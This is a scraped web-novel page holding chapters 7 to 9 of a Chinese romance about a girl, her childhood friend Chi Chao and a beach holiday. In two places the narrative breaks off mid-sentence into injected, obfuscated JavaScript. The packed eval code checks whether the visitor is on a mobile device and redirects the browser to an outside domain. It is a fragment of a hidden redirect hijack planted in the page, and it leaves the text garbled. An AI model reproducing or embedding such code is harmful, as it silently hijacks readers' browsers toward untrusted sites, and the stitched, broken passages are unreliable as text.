《为了继续做朋友只好被》 7. 第 7 章 “好处嘛,我懂我懂,你的规矩我还是知道的。” 范大小姐笑眯眯的,一边指着自己头上的黑色漆皮发卡,一边往杨雪霏手上递购物袋。 “你上次不是说,我头上这个发卡还挺好看的。我前两天逛街看到同款白色的,想到你应该会喜欢……” 这发卡小小一个价值上千,近年因营销真千金自用款的品牌设定大火,在年轻女孩中尤为受欢迎。 拿人家手短,吃人家嘴软,杨雪霏一口慕斯塞进嘴里,还没来得及感受,就惊闻这个惊天噩耗。 如果让杨雪霏知道,范晴也对驰朝别有所图,她今天绝不会出来。 帮忙约驰朝出来,对她而言,确实是举手之劳,但她不想这么做。 因为她知道成果不佳,届时不仅好心办坏事,伤害了范晴的少女心,还会收获一个臭脸的驰朝。 以前她顶多是帮忙送送礼物,递递情书,偶遇时介绍介绍。 而这回,相当于把驰朝骗出来“相亲”。 范晴双手合十,用那张画着精致全妆的漂亮脸蛋,眨着戴着褐色美瞳的大眼睛,楚楚可怜道:“雪霏,求求你了~” 杨雪霏没抵挡住美色。 “好吧,但我先给你打个预防针哈,这么多年我就没成功牵过红线,一会儿他要臭脸你可别怪我。” 其实驰朝也不是脾气不好,相反,杨雪霏有时候觉得,他情绪稳定到不可思议。 就比如,打了两小时的双人游戏,好不容易胜利在望,却因杨雪霏一个失误,需要重开。 驰朝绝不会生气,只会真心实意地笑她菜。 要是她恼羞成怒说不玩了,他就会憋笑着,低声下气地改口,哄着她从头再来。 再比如,杨雪霏说要打卡某个网红餐厅。 因为提前在网上看过攻略,她信誓旦旦地带着驰朝太阳底下绕了大半天。 成功错过饭点,然后从路人口中得知,那家网红餐厅上个月就倒闭了。 杨雪霏气得吐血,饭都没胃口吃了,到营销帖上大战帖主,怪他误人子弟。 而驰朝同仇敌忾得很不走心,比起发泄情绪,他更在意寻找可替代的planb。 杨雪霏用她上当的方法,给驰朝发消息。 驰朝很快回了句语音,“太阳打西边出来了,你都要请我喝下午茶了。发个定位,我现在过去。” 要知道,平日里,一般都是杨雪霏花光了零花钱,转而花驰朝的。 驰朝又发来一条语音,杨雪霏点开一听。 “不会是没带钱被扣在那里洗盘子,喊我过去付钱吧。”语含笑意。 这都什么跟什么呀。 杨雪霏无语地回:“爱来不来!” 范晴忙道:“别呀,他要真不来了怎么办?” 杨雪霏笃定,“他会来的。” 等待驰朝的时间里,杨雪霏一直在劝退范晴。 驰朝也不是那么好啦,除了长得帅点成绩好点一无是处…… 当然不是一无是处,只是其他优点仅驰朝选中的人员可见。这句杨雪霏没有说。 虽然不知道驰朝那么挑剔的人,到底喜欢什么类型的女生,但她直觉不是范晴这款。 看着范晴拿着小镜子拨弄精致的刘海,满脸期待,杨雪霏脑中灵光一闪,忽然想起上学期的一段对话。 当时课间,驰朝来班上找她,说让她傍晚到他家里吃饭。 一向馋张婉珍手艺的杨雪霏,却干脆利落地拒绝了他。 “不行诶,我和几个同学约好了,放学一起去吃日料。” 驰朝问:“你中午不是说,零花钱都花完了吗?” “是呀。”杨雪霏开开心心地说:“我一个同学要请客。” 驰朝皱眉,“哪个?男的女的?” 杨雪霏瞪眼,“女生啊,你想什么呢。” 她回头指了指,“就那个,范晴,漂亮吧?” “呵。”驰朝看了一眼,就收回目光,淡淡地说:“无事献殷勤,非奸即盗。” 杨雪霏无语了,“人家又不是只请我一个人吃,再说了,人家大小姐能图我啥?” 想到什么,杨雪霏与驰朝大眼瞪小眼。 “不可能。” 杨雪霏斩钉截铁地说:“我早就被她收买了,她要是对你有意思,只要一声令下,我绝对二话不说,义不容辞……哪用得着放这么长的线。” 驰朝:“……” 杨雪霏抬手拍了拍他的肩,意味深长地说:“行了,行了,我知道你很帅,但也不是每个女生都会喜欢。” 驰朝看着她的眼睛,“嗯。” 就,比如你吗? “总之呢,帅哥最重要的是帅而不自知,懂吗?”杨雪霏说:“你别天天一副我身边的人好像都是冲你来的样子,我就不能靠我的人格魅力结识好友吗?” “再说了。”杨雪霏嬉皮笑脸地说:“就算人家真喜欢你,她都请我吃了这么多好吃的了,我哪好意思拒绝人家?” “万一她真的喜欢你,你可别让我在中间太尴尬……” 驰朝听不下去,走了。 完了。 杨雪霏忽然想起这段对话,开始坐立难安。 “我觉得吧,你要不要再考虑考虑?驰朝这种男生,做男朋友还真不一定合适……” 范晴害羞地说:“八字还没一撇呢。” 杨雪霏沉默了两秒,自说自话道:“我说真的,你们喜欢他,但是压根不了解他呀,驰朝这个人吧,其实一点也不适合做男朋友。” 她在心里给驰朝道歉。 对不起了,驰朝朝。 “驰朝一点也不会哄女孩子,提供不了任何情绪价值,要是和他谈恋爱了会很难受。” 范晴嘀咕道:“他对你不是挺好的吗?完全看不出不会哄女孩子呀。你之前有次心情不好,说不吃晚饭了,他还来班上哄你去吃饭呢。” 这话有点酸。 一下把杨雪霏噎住了。 半晌,她煞有其事地胡说八道,“其实吧,你说的这事另有隐情。” “什么隐情?” “驰朝找我去吃饭,是让我去付钱的!他零用钱都拿去充游戏了,兜比脸还干净,可不是只能求我请他吃饭了。” 范晴不仅没当回事,反而暗暗松了口气。 她原本还担心他俩之间有什么呢。 范大小姐拍拍胸脯,大气地说:“没事,我最不缺的就是钱!” 这话杨雪霏听得都心动了,奈何驰朝一定不为之所动。 她咬咬牙,下了杀手锏。 “哎,实话和你说吧。你别看驰朝在外边光鲜亮丽的,在家里就是个抠脚大汉,从来不洗澡的,身上都腌入味了。” “你不知道他那个房间,全是臭袜子和外卖垃圾,苍蝇到处飞,蛆到处爬。” 杨雪霏一边说,一边用手指模仿蛆扭动的样子,听得范晴身上都起鸡皮疙瘩了。 “真的吗?我看他不像这种人啊。”范晴问。 杨雪霏小鸡啄米般地点头,“真的,你信我,驰朝就是这种人!” 那眼神别提多真诚了。 “哪种人?” 身后忽然响起驰朝的声音。 空气诡异地安静下来,背景的钢琴曲也应景地一曲终了,杨雪霏仿佛听到了驰朝磨牙的声音。 半晌,她视死如归地转身,讪讪地笑问:“你来了?” 问了句废话。 驰朝自然而然地坐到她旁边,微微一笑,“不来怎么知道我在家天天抠脚呢?” 杨雪霏危。 不过,她也就心虚了不到五分钟。 因为她清楚,驰朝朝才不会和她计较。 她若无其事地给两人相互介绍。 不知是刚刚那番言论打击了范晴的热情,还是她害羞了,只有杨雪霏在唱独角戏,现场的气氛出乎意料地尴尬。 杨雪霏偷偷拧了拧驰朝的腰,驰朝屈尊纡贵地挤了几个字。 杨雪霏再拧他的腰,他再不咸不淡地挤几个字。 手机屏幕忽然亮了,杨雪霏打开一看—— 【不要碰我的腰,谢谢。】 杨雪霏:? 忽然整得跟黄花大闺男似的……哦,虽然驰朝确实是黄花大闺男。 不过,碰一下腰怎么了? 又不是没少碰。 杨雪霏回了一串省略号。 三人尬聊了一个钟头。 驰朝到外边接了个电话,进来就说,家里有事,他先走了。 没过多久,杨雪霏也打道回府。 她没忘记兑现她的承诺,用自己的零花钱给驰朝打包了两块小蛋糕。 直奔驰朝家,然后发现他说的有事,就是在家里打游戏。 杨雪霏义正词严地谴责他这种行为。 “你怎么能对漂亮妹妹这么冷漠无情呢?我对你的表现很失望。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406739|184510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >驰朝摘下头戴式耳机,“你在外边怎么坏我名声的,我没跟你算账,你还倒打一耙?” 杨雪霏心虚地胡说八道:“你只是失去了一点名声,而范晴失去的是她的爱情啊。” “只是失去一点名声?”驰朝不着痕迹地看她一眼,“我找不到女朋友了,你赔我吗?” “赔啊!”杨雪霏扬声道:“你想找什么样的,你倒是说啊?高矮胖瘦,温柔的活泼的可爱的,应有尽有。” “所以你到底喜欢什么样的?”杨雪霏小声吐槽,“每次问也不说,不满意还得怪我,这和说吃什么都可以,点菜时又都说不想吃,有什么区别?” 驰朝仍在打他的游戏,一刻也没停下来过,杨雪霏怀疑,他压根没在听自己说什么。 良久,他似乎是终于有空理她了。 “为什么你今天在你那位同学面前,那么说我?” 杨雪霏眨了眨眼,“事发突然,要是她提前几天和我说,我还能先给你做一下工作,让你不要当场臭脸。” “咦?”杨雪霏奇怪地问:“话说回来,你今天还算配合嘛。”至少没让人难堪。 驰朝自嘲地“呵”了声,没说话。 他就不该自取其辱。 还能因为什么。 总不能是杨雪霏忽然幡然醒悟,发现对自己情根深种,才在情敌面前胡乱编排。 有可能吗? 杨雪霏恍然大悟,“难道是因为我之前和你说过,她是个富婆,所以你不想努力了?” 她意味深长地拍拍驰朝的肩,“你早说嘛,早说我就努努力了。傍富婆没什么可耻的,你刚刚还是放不开,不过也不是没机会了。” “你也真是的,那么急着走干嘛,傍富婆还是要有耐心的,我一会儿把她微信推给你……” 机械键盘哒哒哒地响,显示屏上的游戏角色猝不及防地阵亡,驰朝丢下鼠标,转而看向她。 “你以为我是你吗?” 杨雪霏愣了愣,“你什么意思?” 他的视线直直地落在她手上的袋子上,“两块蛋糕就把我卖了,真有你的。” “这蛋糕是……”我给你买的。 “哦,对了。”驰朝不无嘲讽,“还有桌上那发卡,也是她送你的吧?不错,有长进。” “你又发什么神经?”杨雪霏皱眉,“你打游戏输了,心情不好,就拿我撒气啊?” 他什么时候打游戏输了,拿她撒过气? 亏杨雪霏说得出来。 驰朝简直想笑。 杨雪霏和驰朝冷战了。 两块蛋糕她原封不动地带回,放在客厅的桌上,没有人吃,第二天就坏了。 “……总之,就是这么回事。” 杨雪霏打电话和于思思吐槽。 “你说他是不是有病?好心当成驴肝肺,他知道那两块蛋糕多贵吗?我从来没自己花钱,买过那么贵的蛋糕。不吃拉倒!” 于思思听起来有些心不在焉,“太过分了。” 杨雪霏狐疑,“你那边什么声音?” 过了好一会儿,于思思才回答,“这不是暑假吗,我读幼儿园的小表弟来我家了,他有点黏人。” 杨雪霏“哦”了声,“我明天要出去玩,你一起去吗?” 她问了两遍,于思思才终于听到似的,后知后觉地回,“驰朝不去吗?” “不去,所以你有空吗?” 本来杨雪霏是计划带上驰朝这个小跟班的,但这小跟班脾气太大了!她可伺候不起! 于思思遗憾地说:“没空诶。” “是哦,你要陪你小表弟。”杨雪霏叹了口气,“那就算了。” 说着说着,两人又开始吐槽驰朝。 杨雪霏侃侃而谈。 “驰朝真的很小心眼!你不觉得他很奇怪吗?我之前怀疑过他是不是不喜欢女的,喜欢男的。” “但他又喜欢搞雄竞那一套,好像全天下就他最牛逼似的!” 于思思深表同意,脱口而出,“对啊,他还造谣诋毁别人!说人家肚子上全是肥肉……” 两人同时发现了不对劲。 于思思沉默了。 杨雪霏:“?!” 杨雪霏缓缓地问:“你怎么知道这话是驰朝造谣的,难不成你——” 她顿悟:“你去看他们打球了是吧?男生打球是喜欢撩衣服下摆来着。我上次等驰朝打球的时候,驰朝也老这样。啧啧啧,不守男德!” 8. 第 8 章 临行前。 杨雪霏才给驰朝发消息—— 【你的票我已经退了,不想去拉倒。】 驰朝没回。 杨雪霏更生气了。 但很快,她就把驰朝抛到九霄云外去了。 网友的嘴可真严,也没人告诉她,南壁岛这么多帅哥美女啊。 杨雪霏躺在沙滩椅上,吸着椰子水,欣赏着来来往往的清凉美男和美女,别提多惬意了。 要不是墨镜挡住了她垂涎三尺的大半张脸,她没准要被当作变态。 杨雪霏是个善于分享的人,但这种事吧,不适合分享在朋友圈。 她的小红书没有添加过任何现实中认识的人,且她开了隐私保护,也没发过自己的自拍,所以小红书是她纵情声色的重要场所之一。 乐善好施的雪霏很快发了条小红书,内容简而言之—— 南壁岛只穿沙滩裤的帅哥好多,想找对象的快来!姐妹们快来!可能因为是暑假,大多数都是年轻娇嫩的……嘿嘿(流口水jpg) 具体位置在浔秘海滩,请叫我南壁第一活菩萨谢谢! 对了,有没有姐妹知道怎么搭讪的!急!老实人快急哭了!(流口水jpg) 杨雪霏的帖子很快吸引了大馋丫头们的注意,热度直线飙升,不到一小时就收获小几百赞。 在一众眼冒红心的评论中,有一条评论格格不入,内容只有一个“?” 杨雪霏回了个,“?” 点进对方的小红书原始头像,主页空空如也,唯一的信息只有性别男。 杨雪霏瘪了瘪嘴。 啧。 男的啊,那太正常了。 就在她视奸的几秒时间,对方又就她回的“?”,回了个“?” 杨雪霏本来都打算放过他了,可这普信的破防男未免太不识好歹了。 她阴阳怪气道—— 【是的哦,姐妹,这里的帅哥真的太极品了,我刚刚还看到一个绝色男大,那腹肌那长腿,简直绝了】 【不是某些歪瓜裂枣可以比的(捂嘴笑jpg)】 本以为对方会破防地删回复,并把她拉黑,没想到,他居然还有来有往—— 【看看?】 咋滴。 是不信人家比你高比你帅吗。 这么天底下这么多自信又莫名其妙的普通男人。 杨雪霏翻了个白眼。 事已至此,她今天一定要让这个普信男狠狠自卑。 可真到了寻找目标的时候,她才发现,完美的帅哥无论在何时何地都是可遇不可求的。 仔细一看,这个眉形差了点意思,那个腹肌只有六块。 这个看起来只有一米七八,那个是还都不错,就是不怎么上镜。 千挑万选,居然还没一个比得上驰朝。 呸。 她想那狗东西干嘛。 估计这会儿他正搁家里看他的电竞比赛呢。 余光忽然瞥到一道眼熟的背影。 杨雪霏追过去,掐了掐他的腰,“狗东西,不是很拽吗?怎么还追到这来……” 咦,手感还怪好的咧。 忽然看清对方截然不同的脸,她尴尬得手足无措,“不好意思,认错人了。” 脚趾抠地的功夫,杨雪霏在心里迁怒驰朝。 说来说去都是他的错。 要不是他忽然发神经,他就跟着一起来了,她也不会认错人了。 要是他不那么见外,每次见面都不穿,她就不会认错身体了。 怎么可能会是驰朝。 她退票时都看过了,今天所有的车次都售空了,倒是明天下午还剩几张无座票。 乌龙一场。 对方的年纪看起来比她还小。 那张比驰朝乖巧一万倍的脸,被晒得红红的,“没……没事。” 杨雪霏紧张极了,“你有女朋友吗?” 要是有的话,她就拔开腿跑了,免得被人泼椰子水。 毕竟就她刚刚干的事,在她外公外婆那个年代,那是妥妥的流氓罪。 在她期盼的目光下,对方迟疑地摇了摇头。 杨雪霏长长地舒了一口气,“那就好。” 殊不知,这对话有多么容易引起误会。 “诶,你的脸被晒得好红啊。”杨雪霏指了指来时的位置,热情邀请道:“要不要去那边的沙滩椅乘凉。” 对方别开眼,缓缓地点了点头。 聊下来,杨雪霏才知道,他叫陈群,也是海晏今年的高考生,比她还小一岁。 杨雪霏邀请陈群躺在她旁边的沙滩椅上,她一边在小红书热心回复网友,一边和他聊着天。 直到那个讨人厌的普信男又发了个问号。 “怎么把他忘了?”杨雪霏“啧”了声。 陈群试探地问:“怎么了?是你刚刚提到的那位朋友吗?” “啊?哪位?” 陈群默了默,不确定地开口,“狗东西?” 杨雪霏“哦~”了声,“不是他。就是我在网上发了个帖子……” 帖子的内容杨雪霏没有细说,她在现实中可不想有什么流氓的人设。 她一语带过。 “总之,就是我和一个杠精网友在吵架,我现在必须拍张帅哥的照片扳回一局……对哦!” 说着说着,杨雪霏眼睛一亮。 陈群有种不太妙的预感。 杨雪霏眨巴眨巴眼睛,双手合十。 最终,陈群还是没挡住杨雪霏吹得天花乱坠的彩虹屁,按照她的要求摆了各种各样的pose。 这该死的好胜心,杨雪霏足足拍了上百张照片,又是找角度又是调滤镜,终于找到完美的作品。 普信男应该是破防了,因为自从她回复这张照片后,他就销声匿迹了,倒是有不少网友跟着评论—— 【啊啊啊真的好帅,年下小奶狗我可以!】 【等着,我现在打飞的过去!】 【那个,有句话我不知道当不当说(小脸通黄jpg)】 【楼上,我知道你要说什么,我们看到的重点一样(小脸通黄jpg)】 杨雪霏觉得普信男一定是自卑得落荒而逃了,于是乘胜追击,贱贱地追问—— 【怎么样,你就说是不是185绝色男大吧。】 不知过了多久,她才收到对方的回复—— 【没有185。】 杨雪霏:? 他又说—— 【我185,他没我高,所以不可能有185。】 杨雪霏:? 她彻底无语了,哐哐一通输出—— 【你都没站人家旁边,就知道人家比你矮了(翻白眼jpg)】 【还有,谁想知道你多高,在这刷什么存在感。】 【男的就是虚荣,我有36d也没逢人就炫耀啊。】 杨雪霏冷不丁问了句,“群群呀,你多高?” 陈群乖乖地答:“182。” 杨雪霏肉眼可见地失望,“好吧。” 陈群道:“我才十七岁,还会再长高的!” 杨雪霏“哦”了声,不是很在意的样子,就好像只是那么随口一问。 太阳渐渐西沉。 杨雪霏想回酒店休息会儿,这才知道,她和陈群原来订的是同一家酒店。 没进房间多久,传来敲门声。 杨雪霏谨慎地问:“群群?” 除了陈群,她想不出别的可能了。 “我。”声音听起来不大耐烦。 哦,原来不是小乖乖,是狗东西。 杨雪霏打开门,双手抱臂,冷哼一声,“谁让你来的?” 身体却很诚实地让了条路。 “你怎么知道我住这?” 驰朝像是听了什么白痴的问题,“你订酒店留的是我的电话号码。” “哦。你怎么来的?不是没票了吗?” 驰朝往里走,双肩包往沙发上一丢,人也跟着坐下。 杨雪霏看他这风尘仆仆、疲惫不堪的样子,想到一种可能,“别告诉我,你是自己开车来的?” 驰朝不置可否。 杨雪霏惊讶道:“你才刚拿到驾照,上不了高速,走国道的话,至少得开四五个钟头吧。” 驰朝“嗯”了声,“有点困。” 杨雪霏马上心软,“那你先到床上睡会儿,我晚点叫你。” 赶着驰朝上床休息,杨雪霏到卫生间洗去防晒霜。 擦干了脸,才发现头上不知何时,多了一对blingbling的满钻发卡,整整齐齐的银色徽标闪亮极了。 和那天范晴要送给她的,是同一个牌子。 杨雪霏感动极了,坐到床头边上,推了推驰朝。 昏黄的床头灯晕染了他的发色和眉色,黑发看起来不再那么冷,剑眉也不那么冷厉了。 杨雪霏没和驰朝说过,他的眉毛真的生得很惊艳。 看狗都深情的桃花眼,是偏一些柔美的。 但这远山似的剑眉,如用刀锋一笔一画精心雕刻过,上扬的眉骨是主心,野生的毛流做点缀。如神来之笔,调和了所有柔和。 平和,却不失冷厉。 杨雪霏忽然想要上手描摹,这眉毛到底怎么长的,她画都画不成这样。 就这么短短的五分钟。 驰朝当然来不及睡着,况且他心事重重,还有一堆话没有问出口。 驰朝睁开眼,只见她泪眼汪汪的,像是受了什么天大的委屈。 就是手的位置有点奇怪,她原本准备做什么? “驰朝朝,我原谅你了。” 杨雪霏悻悻地收回手,清了清嗓子,指了指鬓边。 “不过,不是因为这个发卡哦,其实,刚刚开门看到你的时候,我就原谅你了。” 驰朝认命地坐起来,“姑奶奶。” 言外之意就是,别提旧账了。 杨雪霏“噗”地一下笑出声。 温馨了不到两分钟。 杨雪霏想到什么。 “你居然存了这么多零花钱?” 杨雪霏又嫉妒了,转念一想,她双手抱臂,“好啊你,还说存款都被我吃光了,原来是偷偷藏起来了。” 驰朝举手投降,“发卡是我妈买的。” 杨雪霏马上露出“果然如此”的表情。 驰朝没忍住,捏了捏她的脸,“为什么没收下别人送的发卡?” 他指的是范晴送她的那个。 杨雪霏说:“你怎么知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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杨雪霏想到什么,面部表情有些不自然。 她的手机里确实有少量驰朝的照片。 小部分是驰朝小时候的,她看到张婉娴发在朋友圈,觉得好可爱,就保存了下来。 大部分是杨雪霏趁驰朝睡着,在他脸上鬼画符后拍的搞怪照。 “就一些我俩的合照,其他没有。”她摊开手。 “没有?” “不然呢,你别没事找事。”杨雪霏觉得他简直无理取闹,“来来来,你也把你的相册打开我看看。” 哪个正经人相册里会存朋友的大头照啊。 杨雪霏想,自己这次一定能够一招制敌,让驰朝无话可说。 却没想到,驰朝不仅存了她的照片,还专门给她创建了一个相册,杨雪霏翻了好一会儿都没翻到底。 这下轮到杨雪霏傻眼了。 “行吧,你厉害。” 杨雪霏举手投降。 晚上九点。 杨雪霏和驰朝才出门,两人一块在海滩上漫步,听潮起潮落。 海滩的沙子看着很绵密,杨雪霏一时兴起,脱下鞋子踩到上面,蹦蹦跳跳。 自然又挨了驰朝一顿训,“鞋子穿上。一会儿踩到玻璃、拉环,我还得背你去医院。” 杨雪霏不情不愿,“你怎么比我妈管得还宽。” 她不听,“哪有那么倒霉。” 驰朝不由分说,拿过她手中的拖鞋,半蹲下,强硬地握住她的脚踝。 杨雪霏艰难地金鸡独立,“驰!朝!你这是强迫妇女你知道吗?” “哦。所以呢?”他淡定地抬眸看她。 手中动作未停。 拖鞋很快就穿好了,驰朝起身就跑,杨雪霏在后边追着他打闹。 驰朝轻轻松松地倒着跑,笑着挑衅她。每当她快要追上,他又不疾不徐地加快速度,气得她直跳脚。 杨雪霏转了转眼睛,假装跑不动了。 见驰朝停下,猛冲上前。可他太警惕了,她还是扑了个空。 一路欢声笑语。 追到半路,忽然被人打断。 “雪霏!” 杨雪霏停下,朝远处看去,只见陈群笑着朝她摆手。 驰朝跟着停下,望向远处的目光幽幽。 陈群跑近了,笑得很腼腆,“我刚刚就看到你们了,总觉得好像是你,过来一看,没想到真的是。” 杨雪霏给他们相互介绍。 驰朝不咸不淡地点头。 陈群朝驰朝微微一笑,而后,对着杨雪霏粲然一笑,“这就是你和我说的,要一起来玩的朋友吗?” “嗯嗯。” 陈群在前边带路。 杨雪霏见驰朝走路慢悠悠的,落了他们一小截,猜想他应该是跑累了。 正准备停下来等他,就听到陈群悄悄问她,“雪霏,他就是你说的狗东西吗?” 与此同时,身后传来低低的呛水声。 9. 第 9 章 杨雪霏忍俊不禁。 驰朝快步上前,佯装不满,趁机捏了捏她的脸。 “杨雪霏,你平时都在外人面前这么编排我的?” 陈群没有错过,驰朝旁若无人的亲昵姿态,话里拐弯抹角的重点。 同样是男人,他自然知晓其中深意。 陈群微微一笑,“雪霏,我们走快点吧,那边快开始了。” 两个男人的视线在空中交错,眼中的笑意均不达眼底。 驰朝这回和他们并排走在一块,听他们聊着些没营养的内容。 什么星星好多明天肯定是个大晴天,什么有人捡到了心形的漂亮贝壳…… 看气象新闻不比看天象靠谱? 一个破贝壳,有什么好捡的。 就她这没出息的样子,要是他今天没来,是不是人家勾勾手指,她就屁颠屁颠地跟着人家捡贝壳去了。 但杨雪霏就是这样。 她是被罚站在教室门口,也能顶风作案,和路过的陌生同学闲聊两句的人。 是家门口有流浪狗路过,也会给人家撒根火腿,汪汪唠嗑几句的人。 这不能代表什么。 海风阵阵,驰朝晃了晃神,没听清他们在说什么。 只听到他们欢声笑语,看到他们凑得越来越近,脑袋快凑到了一起。 刚认识一天的新朋友,有这么多话能说? 口口声声说他是她最好的朋友,她就这样对待她最好的朋友? 为了刚认识的新朋友,冷落她最好的朋友? 他甚至插不上话。 还有陈群,下巴都快垂到杨雪霏头顶了,是不会独立行走了吗? 杨雪霏正和陈群吐槽,今天下午多讹了他们二十块的椰子水大叔,冷不丁听到驰朝来了句,“你有180?” 陈群抬头,“182。” 驰朝上下打量他一眼,缓缓地“哦”了声,听起来不大相信的样子。 杨雪霏见不惯他欺负小孩,瞪他一眼。 “你干嘛呀?人家才十七岁,还会长高的,等到了你这个年纪,没准都比你高了。” 驰朝“呵”了声,“胳膊肘往外拐。” 杨雪霏心虚地摸了摸鼻子,假装没听到。 到了烧烤露营的地点,陈群的朋友们都很热情,特别是女生。 听说驰朝还是单身后,他又被团团围住了。 至于是听谁说的,答案显而易见。 对上他“看你干的好事”的眼神,杨雪霏看热闹不嫌事大地偷笑。 这回,人既不是她引荐的,驰朝也不是她骗来的,她可不背锅。 她回以“你自求多福”的表情。 这边,杨雪霏和陈群聊着天。 那边,不知驰朝和那群女生说了什么,她们齐齐地举拳“哇哦~”了一声,又响又兴奋的叫声将耳边陈群的声音都盖了过去。 声音太杂了,杨雪霏没听清楚,只能隐隐约约分辨出“真的吗?”“知道吗”几个字。 她起了好奇心,站起来,“我过去看看。” 陈群下意识地抬手,还没碰到她的衣角,就看见驰朝越出人群直直地朝他们走来。 杨雪霏很好奇地问:“你居然这么快就凭一己之力出来了,你跟她们说了什么?” 驰朝刚刚看她那幸灾乐祸的样子,气就不打一处来。 但这会儿,他心情还算不错。 “说你傻。”玩笑敷衍的样子,一看就是不打算告诉她。 杨雪霏瞪圆了眼睛,试图威慑到他。但不仅没对驰朝产生杀伤力,反被重重揉了揉发顶。 她炸毛,他低笑。 这种情景,在陈群没出现的过去十八年中,早已出现过千次万次。陈群忽然产生一种感觉,这世上没人能挤进他们中间。 他默默坐在旁边,观察了他们很久。 驰朝会在海风忽然席卷的时候,贴心地为她挡风。 会亲自为她烤串,撒上她喜欢的酱料,却无视她嗷嗷待哺的眼神,等她双手合十眼巴巴地求他,再慢悠悠地递给她。 杨雪霏觉得他欠。 但陈群觉得,他或许是想等烧烤凉一点,不叫迫不及待的杨雪霏烫坏。 后来,有很多女生跑过来和杨雪霏搭话。 人群外,驰朝一直笑着望着她,望着她眨眼,望着她捂嘴,望着她笑。 毫不避讳。 注意到陈群探究的目光,也没有丝毫地退让,他在无声地宣示主权。 正是这种行为,让陈群确认,驰朝是一厢情愿的。 陈群犹豫,要不要提醒一无所知的杨雪霏,保持距离也好,重新考虑也罢,至少不该是这种似是而非的关系。 但他又看到,杨雪霏走出人群的第一件事,就是坐到驰朝身边。 驰朝递上刚刚烤好的秋刀鱼,她没接,而是亲昵地凑了上去,就着他的手咬了一口。 她“呸呸”两声,说这条鱼味道怎么这么奇怪,你还是自己吃吧。 驰朝也不嫌弃,不避讳,当着她的面,就着她咬过的地方,咬了一口,然后一口一口地吃干抹净。 杨雪霏没表现出丝毫异样,似乎认为这是再正常不过的事。 他们太自然而然了,亲昵过了头。 甚至不止于恋人未满的关系,他们比普通的恋人还要亲密得多。 陈群又不确定了。 不确定该不该告诉她,不确定她是否真的毫无察觉。 这一晚,陈群再没找到机会和杨雪霏说话。 热热闹闹的一天过去了。 杨雪霏回到酒店,依然生龙活虎,兴致昂扬地挑选明日的战袍。 所谓的战袍其实是泳装,不管是来一场浪漫的艳遇,还是摆拍各种照片都很合适。 驰朝在隔壁开了间房,杨雪霏给他发消息,提醒他明天出门的时候记得带上相机。 驰朝问,几点。 杨雪霏说,你五点记得来叫我起床,一定一定要叫醒我,不管我骂你什么,你都要坚持把我叫醒。 驰朝回了一串省略号。 什么话都没说,但明显充满着不信任,不信任杨雪霏五点真的会起。 如果他真的按照杨雪霏的要求,五点就电话轰炸、疯狂敲门、使劲摇醒,最后的结果并不会像杨雪霏说的那样,皆大欢喜。 而是,他被杨雪霏狠狠痛骂一顿,赶出房间。 她继续蒙头大睡。 而他会在她日上三竿悠悠转醒后,梅开二度,再度被批评得怀疑人生—— 你为什么不把我叫醒!我不是和你说了,不管我说什么,都要把我叫醒吗! 杨雪霏用语音发誓,说,你就再相信我一次嘛,我明天肯定会起来的,我都和群群约好了。 虽然嘴上这么说,但她还是有点自知之明的,所以特意和陈群说了,如果明天早上她没回消息,就不去了。 驰朝问,约好什么?看日出吗? 杨雪霏答,日出有什么好看的,我们要趁没人的时候去捡贝壳。 驰朝没再答复。 但杨雪霏基于对他的信任,还是无忧无虑地睡着了。 第二天,铃声没响,有驰朝在,杨雪霏压根就不需要定闹钟。 驰朝朝比闹钟靠谱得多。 杨雪霏是睡到自然醒的。 她先前就醒过一次,但她以为时间还早,因为驰朝还没来叫过她,所以就心安理得地睡了个回笼觉。 这下倒好,起来一看时间,居然都十一点,距离她指定的五点,已经过去了六个小时。 杨雪霏确定,驰朝就压根没来喊过她。 她一下从床上跳起来,“怒气冲冲”地去隔壁找驰朝算账,准备讹他一笔。 刚拉开门,就听到门把上叮叮当当的摇铃声,清脆悦耳。 她定睛一看,是一串项链大小的心形贝壳。 每个贝壳颜色、纹理、大小都天差地别,却按照颜色的深浅串得整整齐齐,宛若精心编制的工艺品。 杨雪霏笑了,翻来覆去地看,仔仔细细地摩挲。 大抵是专门用海水清洗过,贝壳条纹上没有顽固的沙粒,只有微咸的海水味。 也不知他捡了多久。 不知是不是杨雪霏的错觉,她总觉得这海水味中还夹杂着丝丝的甜味,新鲜的海鲜都是带着点甜味的。 杨雪霏刚给贝壳们裹了几层棉垫,收进首饰盒里,门铃就响了。 她开门一看,原来是陈群。 陈群听杨雪霏说她醒了,拎着个小包和两把小铲子就来了。 “吃完饭要不要去捡贝壳?我看过了,酒店背后有一块阴凉的地方,不会晒,人也不多。” 话音刚落,隔壁房门开了。 杨雪霏闻声望去,驰朝果然一副睡眼惺忪的样子。 他双手抱臂,倦倦地倚在门边,看清陈群手上的东西,微微一挑眉,却没说话。 杨雪霏摸摸后脑勺,歉意地说:“不好意思啊,群群,我还是不去了。” 放了人家的鸽子,她有些不好意思,低垂着头,没有注意到驰朝嘴角上扬的弧度。 陈群有些失望的样子。 杨雪霏忙说:“我刚刚看网友预测说今晚会有紫霞,傍晚要不要一起去看日落?” 驰朝的嘴角又拉了下来。 事情就这么定了下来。 哪怕驰朝提醒她说,她今天的行程已经排满了,又要拍大片,又要捉螃蟹。 杨雪霏还是大气地表示,这些都是小事,朋友才是最重要的。 驰朝冷笑。 确认陈群走后,杨雪霏才鬼鬼祟祟地进了驰朝的房间。 驰朝没好气,“搞得跟偷情一样,你还怕被他看到?” 杨雪霏点头,“是啊。” 驰朝心一沉,想问些什么,又开不了口。 